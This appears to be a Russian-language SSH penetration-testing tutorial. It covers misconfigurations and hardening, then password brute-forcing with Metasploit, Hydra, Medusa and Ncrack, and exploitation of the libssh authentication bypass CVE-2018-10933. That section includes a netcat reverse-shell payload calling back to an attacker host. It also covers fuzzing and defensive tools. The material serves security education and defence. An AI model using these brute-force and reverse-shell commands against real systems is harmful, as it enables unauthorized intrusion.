В данной статье мы: быстро познакомимся с протоколом SSH и его реализациями., а затем продемонстрируем некоторые атаки на протокол и их реализации, представим некоторые SSH-тесты на проникновение и инструменты синей команды, дадим стандартный справочник руководств по безопасности и, наконец, рассмотрим руководство по тестированию SSH на проникновение.
Что такое SSH и SFTP?
SSH — это безопасный протокол удаленной оболочки, используемый для работы сетевых служб безопасно по незащищенной сети. Порт SSH по умолчанию — 22, обычно он открыт на серверах в Интернете или интрасети.
SFTP — это протокол, используемый для передачи файлов через соединение SSH. Большинство реализаций SSH также поддерживают SFTP.
SSH-серверы / библиотеки
Самый известный и распространенный SSH-сервер и клиент — это openSSH (OpenBSD Secure Shell). Это надежная реализация, которая поддерживается в хорошем состоянии и была впервые выпущена в 1999 году. Так что это реализация, которую вы чаще всего встретите в BSD, Linux и даже Windows, поскольку она поставляется в Windows, начиная с Windows 10.
Но openSSH — не единственная реализация, вот и другие:
SSH-серверы:
- openSSH — OpenBSD SSH, поставляется в дистрибутивах BSD, Linux и Windows, начиная с Windows 10
- Dropbear — реализация SSH для сред с малым объемом памяти и ресурсов процессора, поставляется в OpenWrt
- PuTTY — реализация SSH для Windows, обычно используется клиент, но реже используется сервер.
- CopSSH — реализация OpenSSH для Windows
Библиотеки SSH (реализация на стороне сервера):
- libssh — мультиплатформенная библиотека C, реализующая протокол SSHv2 с привязками в Python, Perl и R; он используется KDE для sftp и GitHub для инфраструктуры git SSH
- wolfSSH — серверная библиотека SSHv2, написанная на ANSI C и предназначенная для встраиваемых систем, ОСРВ и сред с ограниченными ресурсами
- Apache MINA SSHD — Java-библиотека Apache SSHD основана на Apache MINA
- paramiko — библиотека протокола Python SSHv2
Распространенные ошибки конфигурации
Корневой логин
По умолчанию большая часть реализации SSH-сервера разрешает вход в систему с правами root, рекомендуется отключить его, потому что в случае утечки учетных данных этой учетной записи злоумышленники получат административные привилегии напрямую, и это также позволит злоумышленникам проводить bruteforce атаки на эту учетную запись.
Как отключить вход root для openSSH:
- Отредактируйте конфигурацию SSH-сервера
sudoedit / etc / ssh / sshd_config
- Измените
#PermitRootLogin yes
наPermitRootLogin no
- Учтите изменения конфигурации:
sudo systemctl daemon-reload
- Перезагрузите SSH-сервер
sudo systemctl restart sshd
Выполнение команды SFTP
Другая распространенная неправильная конфигурация SSH часто встречается в конфигурации SFTP. В большинстве случаев при создании сервера SFTP администратор хочет, чтобы пользователи имели доступ по протоколу SFTP для совместного использования файлов, но не получали удаленную оболочку на машине. Поэтому они думают, что создания пользователя, присвоения ему оболочки-заполнителя (например, / usr / bin / nologin
или / usr / bin / false)
и помещения его в заключение достаточно, чтобы избежать доступа к оболочке или злоупотреблений во всей файловой системе. Но они ошибаются: пользователь может попросить выполнить команду сразу после аутентификации до того, как будет выполнена команда или оболочка по умолчанию. Таким образом, чтобы обойти оболочку заполнителя, которая будет запрещать доступ к оболочке, нужно только попросить выполнить команду (например, / bin / bash)
раньше, просто выполнив:
$ ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-
00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-
status reply 0
debug1: client_input_channel_req: channel 0 rtype
eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1
seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0
$ ssh noraj@192.168.1.94 /bin/bash
Вот пример безопасной конфигурации SFTP (/ etc / ssh / sshd_config - openSSH
) для пользователя noraj:
Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no
Эта конфигурация разрешит только SFTP: отключение доступа к оболочке путем принудительного запуска команды и отключения доступа TTY, а также отключение всех видов переадресации или туннелирования портов.
Методы аутентификации
В среде с высоким уровнем безопасности обычной практикой является включение только аутентификации на основе ключа или двухфакторной аутентификации, а не аутентификации на основе простого факторного пароля. Но часто более строгие методы аутентификации включаются без отключения более слабых. Частым случаем является включение открытого ключа в конфигурации openSSH и установка его в качестве метода по умолчанию, но не отключение пароля. Таким образом, используя подробный режим клиента SSH, злоумышленник может увидеть, что включен более слабый метод:
$ ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue:
publickey,password,keyboard-interactive
Например, если установлен предел ошибок аутентификации, и у вас никогда не будет возможности достичь метода пароля, вы можете использовать параметр PreferredAuthentication, чтобы принудительно использовать этот метод.
$ ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
Проверить конфигурацию SSH-сервера необходимо, чтобы убедиться, что только ожидаемые методы разрешены. Использование подробного режима на клиенте может помочь увидеть эффективность конфигурации.
Витрина атак
Теперь мы увидим набор примеров атак, которые вы можете воспроизвести на некоторых реализациях SSH-сервера.
Подбор пароля / bruteforce атака
Теперь я опробую улучшенный вариант bruteforce атаки на пароль пользователя SSH со словарем паролей с использованием четырех инструментов: фреймворка metasploit, hydra, medusa и ncrack.
Во всех случаях мы будем нацеливаться на компьютер 192.168.1.94 на 22-м порту и будем подбирать только пароль пользователя noraj.
Прочтите приведенные ниже справочные сообщения, если вы не понимаете аргумент / вариант.
Metasploit
$ msf5 > search ssh
Matching Modules
================
# Name
Disclosure Date Rank heck Description
- ----
--------------- ---- ----- -----------
...
17 auxiliary/scanner/ssh/ssh_login
normal Yes SSH Login Check Scanner
...
msf5 > use 17
msf5 auxiliary(scanner/ssh/ssh_login) > show options
Module options (auxiliary/scanner/ssh/ssh_login):
Name Current Setting Required
Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank
passwords for all users
BRUTEFORCE_SPEED 5 yes How fast
to bruteforce, from 0 to 5
DB_ALL_CREDS false
no Try each
user/password couple stored in the current database
DB_ALL_PASS false no Add all
passwords in the current database to the list
DB_ALL_USERS false no Add all
users in the current database to the list
PASSWORD no A specific
password to authenticate with
PASS_FILE no File
containing passwords, one per line
RHOSTS yes The target
host(s), range CIDR identifier, or hosts file with syntax
'file:<path>'
RPORT 22 yes The target
port
STOP_ON_SUCCESS false yes Stop
guessing when a credential works for a host
THREADS 1 yes The number
of concurrent threads (max one per host)
USERNAME no A specific
username to authenticate as
USERPASS_FILE no File
containing users and passwords separated by space, one
pair per line
USER_AS_PASS false no Try the
username as the password for all users
USER_FILE no File
containing usernames, one per line
VERBOSE false yes Whether to
print output for all attempts
msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE
/usr/share/wordlists/password/rockyou.txt
PASS_FILE => /usr/share/wordlists/password/rockyou.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS
192.168.1.94
RHOSTS
=> 192.168.1.94
msf5 auxiliary(scanner/ssh/ssh_login) > set THREADS 10
THREADS => 10
msf5 auxiliary(scanner/ssh/ssh_login) > set
STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf5 auxiliary(scanner/ssh/ssh_login) > set username noraj
username => noraj
msf5 auxiliary(scanner/ssh/ssh_login) > run
[+] 192.168.1.94:22 - Success: 'noraj:noraj'
''
[*] Command shell session 1 opened (192.168.1.83:37291 ->
192.168.1.94:22) at 2020-01-02 21:33:33 +0100
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Hydra
С Hydra:
$ hydra -l noraj -P
/usr/share/wordlists/password/rockyou.txt -e s
ssh://192.168.1.94
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use
in military or secret service organizations, or for
illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra)
starting at 2020-01-02 21:44:28
[WARNING] Many SSH configurations limit the number of
parallel tasks, it is recommended to reduce the tasks: use
-t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks,
14344399 login tries (l:1/p:14344399), ~896525 tries per
task
[DATA] attacking ssh://192.168.1.94:22/
[22][ssh] host: 192.168.1.94 login: noraj password:
noraj
1 of 1 target successfully completed, 1 valid password
found
Hydra (https://github.com/vanhauser-thc/thc-hydra)
finished at 2020-01-02 21:44:33
Выдержка из справочного сообщения:
-l LOGIN or -L FILE login with LOGIN name, or load
several logins from FILE
-p PASS or -P FILE try password PASS, or load several
passwords from FILE
-e nsr try "n" null password, "s" login as pass
and/or "r" reversed login
service the service to crack (see below for supported
protocols)
Medusa
С Medusa:
$ medusa -h 192.168.1.94 -u noraj -P
/usr/share/wordlists/password/rockyou.txt -e s -M ssh
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus
Networks <jmk@foofus.net>
ACCOUNT CHECK: [ssh] Host: 192.168.1.94 (1 of 1, 0
complete) User: noraj (1 of 1, 0 complete) Password: noraj
(1 of 14344391 complete)
ACCOUNT FOUND: [ssh] Host: 192.168.1.94 User: noraj
Password: noraj [SUCCESS]
Выдержка из справочного сообщения:
-h [TEXT] : Target hostname or IP address
-u [TEXT] : Username to test
-P [FILE] : File containing passwords to test
-e [n/s/ns] : Additional password checks ([n] No
Password, [s] Password = Username)
-M [TEXT] : Name of the module to execute (without
the .mod extension)
Ncrack
С ncrack:
$ ncrack --user noraj -P
/usr/share/wordlists/password/rockyou.txt
ssh://192.168.1.94
Starting Ncrack 0.7 ( http://ncrack.org ) at 2020-01-02
21:50 CET
Discovered credentials for ssh on 192.168.1.94 22/tcp:
192.168.1.94 22/tcp ssh: 'noraj' 'noraj'
Ncrack done: 1 service scanned in 3.00 seconds.
Ncrack finished.
Выдержка из справочного сообщения:
-P <filename>: password file
--user <username_list>: comma-separated username list
Эксплойт — LibSSH RCE
CVE-2018-10933 — это ссылка на уязвимость, затрагивающую библиотеку libssh. Эта уязвимость позволяет неавторизованный доступ в обход аутентификации.
libssh версии 0.6 и выше имеют уязвимость обхода аутентификации в коде сервера. Представив серверу сообщение SSH2_MSG_USERAUTH_SUCCESS вместо сообщения SSH2_MSG_USERAUTH_REQUEST, которое сервер ожидает инициировать аутентификацию, злоумышленник может успешно пройти аутентификацию без каких-либо учетных данных. Консультация.
Когда вы найдете уязвимую версию с помощью nmap, вы увидете что-то вроде этого:
22/tcp open ssh libssh 0.8.3 (protocol 2.0)
searchsploit (инструмент, используемый для локального просмотра Exploit-DB) показывает существующие эксплойты, доступные для libssh.
searchsploit libssh
--------------------------------------------------------------
------------------------------ --------------------------------
--------
Exploit Title
| Path
| (/usr/share/exploitdb/)
-------------------------------------------------------------
------------------------------- -------------------------------
---------
LibSSH 0.7.6 / 0.8.4 - Unauthorized Access
| exploits/linux/remote/46307.py
libSSH - Authentication Bypass |
exploits/linux/remote/45638.py
---------------------------------------------------------------
----------------------------- ----------------------------------
------ Shellcodes: No Result
Таким образом, мы можем использовать эксплойт для выполнения команды на цели, чтобы убедиться, что она работает.
$ python
/usr/share/exploitdb/exploits/linux/remote/46307.py
192.168.1.94 22 id
uid=0(root) gid=0(root) groups=0(root)
Вместо того, чтобы просто запускать команду, мы можем попытаться выполнить reverse shell. Сначала мы запускаем listener на нашей машине: sudo ncat -nlp 80. Затем мы используем в эксплойте полезную нагрузку reverse shell sh:
python /usr/share/exploitdb/exploits/linux/remote/46307.py
192.168.1.94 22 "rm /tmp/f;mkfifo /tmp/f;cat
/tmp/f|/bin/sh -i 2>&1|nc 192.168.1.100 80 >/tmp/f"
Fuzzing
Поскольку фаззинг сложен, я выделю только два подхода:
- Универсальный и автоматизированный.
- Специальное и руководство.
Общий и автоматизированный подход
Можно использовать такой сценарий, как sshfuzz.pl, для автоматического фазирования работающего SSH-сервера независимо от его реализации.
Его преимущество в том, что он прост, но он не очень адресный, поэтому он займет много времени и упустит много результатов.
Установить зависимости и запустить скрипт так же просто, как написать эти две строки:
$ cpan Net::SSH2
$ ./sshfuzz.pl -H 192.168.1.94 -P 22 -u noraj -p noraj
Другой автоматизированный подход, который также будет работать на любом реальном SSH-сервере, — это использование модуля metasploit auxiliary/fuzzers/ssh/ssh_version_2
:
msf5 > use auxiliary/fuzzers/ssh/ssh_version_2
msf5 auxiliary(fuzzers/ssh/ssh_version_2) > set RHOSTS
192.168.1.94
msf5 auxiliary(fuzzers/ssh/ssh_version_2) > run
[*] Running module against 192.168.1.94
[*] 192.168.1.94:22 - Fuzzing with iteration 100 using
fuzzer_string_giant
[*] 192.168.1.94:22 - Fuzzing with iteration 200 using
fuzzer_string_giant
[*] 192.168.1.94:22 - Fuzzing with iteration 300 using
fuzzer_string_long
[*] 192.168.1.94:22 - Fuzzing with iteration 400 using
fuzzer_string_long
[*] 192.168.1.94:22 - Fuzzing with iteration 500 using
fuzzer_string_paths_giant
[*] 192.168.1.94:22 - Fuzzing with iteration 600 using
fuzzer_string_paths_giant
[*] 192.168.1.94:22 - Fuzzing with iteration 700 using
fuzzer_string_paths_giant
[*] 192.168.1.94:22 - Fuzzing with iteration 800 using
fuzzer_string_paths_giant
[*] 192.168.1.94:22 - Fuzzing with iteration 900 using
fuzzer_string_paths_giant
[*] 192.168.1.94:22 - Fuzzing with iteration 1000 using
fuzzer_string_paths_giant
...
Использовать эти инструменты легко, но у вас мало шансов найти что-то, что можно использовать.
Индивидуальный и ручной подход
Если вы хотите получить более значимые результаты и у вас есть время, чтобы ознакомиться с целевой реализацией, вы можете выбрать ручной подход.
Этот метод заключается в использовании расширенного универсального фаззера на автономном SSH-сервере и изменении исходного кода для оптимизации времени выполнения теста. Таким образом, потребуется настроить фаззер, настроить и построить целевую реализацию, выявить сбои, сократить использование ресурсоемких функций, чтобы ускорить фаззинг, увеличить охват, создать входные тестовые примеры и входные словари, а также иметь глубокое понимание протокола SSH и его реализации.
Вот пример Vegard Nossum Фазинг демона OpenSSH с помощью AFL.
Связанные инструменты и ресурсы
«HASSH» — это стандарт идентификации сети, который может использоваться для идентификации конкретных реализаций SSH клиента и сервера.
HASSH — это стандарт, который помогает синим командам обнаруживать, контролировать и расследовать попытки brute force пароля или перебора учетных данных, кражу данных, обнаружение сети и боковое перемещение и т. д.
Ssh-audit — это инструмент аудита SSH-сервера (баннер, обмен ключами, шифрование, Mac, сжатие, совместимость, безопасность и т. д.).
Профессиональным пентестерам удобно быстро определять целевую версию и знать, какие алгоритмы доступны на удаленном сервере, чтобы иметь возможность давать рекомендации по алгоритмам заказчику.
Пример использования:
Общие ресурсы для разработчиков по эксплойтам
Хотя (помимо этой статьи) на самом деле не так много существует для разработки конкретных эксплойтов для SSH, но применимы многие из тех же общих тенденций. Во многих книгах и статьях подробно описана разработка эксплойтов на основе стека и кучи нулевого дня, некоторые из которых описаны в соответствующих разделах наших книг и страниц ресурсов. (TLDR; Справочник хакеров Corelan и Shellcoders по-прежнему лучший).
Некоторые из наиболее известных удаленных эксплойтов SSH за последнее время перечислены ниже в виде краткого неполного списка:
- https://www.exploit-db.com/exploits/18557 ~ Sysax 5.53 — SSH «Имя пользователя» удаленного переполнения буфера
- https://www.exploit-db.com/exploits/45001 ~ OpenSSH <6.6 SFTP — выполнение команд
- https://www.exploit-db.com/exploits/45233 ~ OpenSSH 2.3 <7.7 — Перечисление имени пользователя
- https://www.exploit-db.com/exploits/46516 ~ OpenSSH SCP Client — запись произвольных файлов
Заключение
В этом справочном руководстве Mozilla дает рекомендации по защите сервера OpenSSH.
Лучшие текущие практики в отношении безопасной настройки SSH также приведены в руководстве под названием Applied Crypto Hardering. В настоящее время примеры конфигурации приведены для OpenSSH, Cisco ASA и Cisco IOS. Источник руководства также доступен.